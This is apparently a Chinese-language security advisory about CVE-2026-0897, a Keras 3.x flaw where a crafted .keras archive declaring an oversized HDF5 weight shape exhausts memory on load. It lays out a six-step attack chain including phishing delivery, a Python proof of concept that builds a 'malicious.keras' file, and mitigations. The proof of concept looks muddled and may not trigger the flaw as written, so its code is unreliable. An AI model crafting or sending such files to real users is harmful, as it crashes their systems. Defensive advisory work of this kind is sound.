IPBUF安全漏洞报告
English
CVE-2026-0897 CVSS 7.5 高危

CVE-2026-0897: Google Keras HDF5权重加载内存耗尽拒绝服务漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2026-0897
漏洞类型
资源分配无限制/拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Google Keras 3.0.0 - 3.13.0

相关标签

CVE-2026-0897资源分配无限制拒绝服务内存耗尽Google KerasHDF5深度学习Python

漏洞概述

CVE-2026-0897是Google Keras 3.0.0至3.13.0版本中存在的资源分配无限制漏洞。该漏洞位于Keras的HDF5权重加载组件中,攻击者可以通过构造恶意的.keras存档文件来触发此漏洞。具体来说,攻击者在model.weights.h5文件中声明一个极大的数据集shape,导致Keras在加载权重时尝试分配巨大的内存空间,最终造成内存耗尽和Python解释器崩溃,从而实现拒绝服务攻击。此漏洞无需任何认证或用户交互即可被远程利用,CVSS评分7.5,属于高危漏洞。攻击者只需诱骗目标用户加载一个看似正常的.keras模型文件即可发动攻击,攻击复杂度低,危害性大。

技术细节

该漏洞的根本原因在于Keras的HDF5权重加载组件缺乏对数据集shape的合理验证。当加载.keras存档文件时,Keras会读取model.weights.h5文件中声明的维度信息来分配内存。攻击者可以通过在HDF5文件中设置极大的shape值(如数百万或数十亿),使得Keras尝试分配远超系统可用内存的空间。由于Python的内存分配机制,这种过大的内存请求会导致系统内存耗尽,触发OOM Killer或直接导致Python解释器崩溃。攻击者只需要创建一个包含有效HDF5权重文件的.keras存档,并确保其中的数据集声明一个极大的shape即可。Keras在3.0版本引入的全新权重加载机制存在此安全缺陷,未对用户可控的shape参数进行边界检查。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意HDF5权重文件的.keras存档,其中model.weights.h5文件的数据集声明极大的shape值
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意网站或其他方式将恶意.keras文件传递给目标用户
STEP 3
步骤3
目标用户使用Keras 3.x的model.load_model()或相关API加载恶意.keras文件
STEP 4
步骤4
Keras的HDF5加载组件读取权重文件,尝试根据声明的shape分配内存
STEP 5
步骤5
由于shape值极大,系统尝试分配远超可用内存的空间,导致内存耗尽
STEP 6
步骤6
Python解释器因内存不足而崩溃或被系统OOM Killer终止,造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import h5py import numpy as np import zipfile import os def create_malicious_keras(): """ Generate PoC for CVE-2026-0897 This creates a malicious .keras file with oversized HDF5 weight datasets """ # Create malicious weights.h5 with extremely large shape with h5py.File('weights.h5', 'w') as f: # Create dataset with extremely large shape (e.g., 999999999 x 999999999) # This will cause memory exhaustion when Keras tries to allocate large_shape = (999999999, 999999999) print(f"Creating dataset with shape: {large_shape}") try: # This may fail at creation but demonstrates the concept f.create_dataset('model_weights', shape=large_shape, dtype='float32') except Exception as e: print(f"Expected error during creation: {e}") # Alternative: Create a dataset that appears valid but has unbounded dimensions # Simulating what an attacker might do f.create_dataset('var1', data=np.random.rand(1000, 1000)) f.create_dataset('_shape', data=str(large_shape)) # Create .keras archive (which is a zip file) with zipfile.ZipFile('malicious.keras', 'w') as zf: zf.write('weights.h5', 'model.weights.h5') # Add config.json to make it look like a valid model config = '{"class_name": "Sequential", "config": []}' zf.writestr('config.json', config) print("Malicious .keras file created: malicious.keras") print("When loaded by Keras 3.x, this file can cause memory exhaustion") if __name__ == '__main__': create_malicious_keras()

影响范围

Google Keras 3.0.0 - 3.13.0

防御指南

临时缓解措施
在官方修复发布前,建议采取以下临时缓解措施:1) 限制可加载模型文件的来源,仅使用可信来源的.keras文件;2) 在沙箱或容器环境中加载外部模型文件;3) 设置系统级内存限制(如ulimit、cgroups)防止内存耗尽影响系统稳定性;4) 监控模型加载过程中的内存使用情况;5) 考虑使用替代的模型格式如SavedModel或ONNX,避免使用.keras格式加载未知模型。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表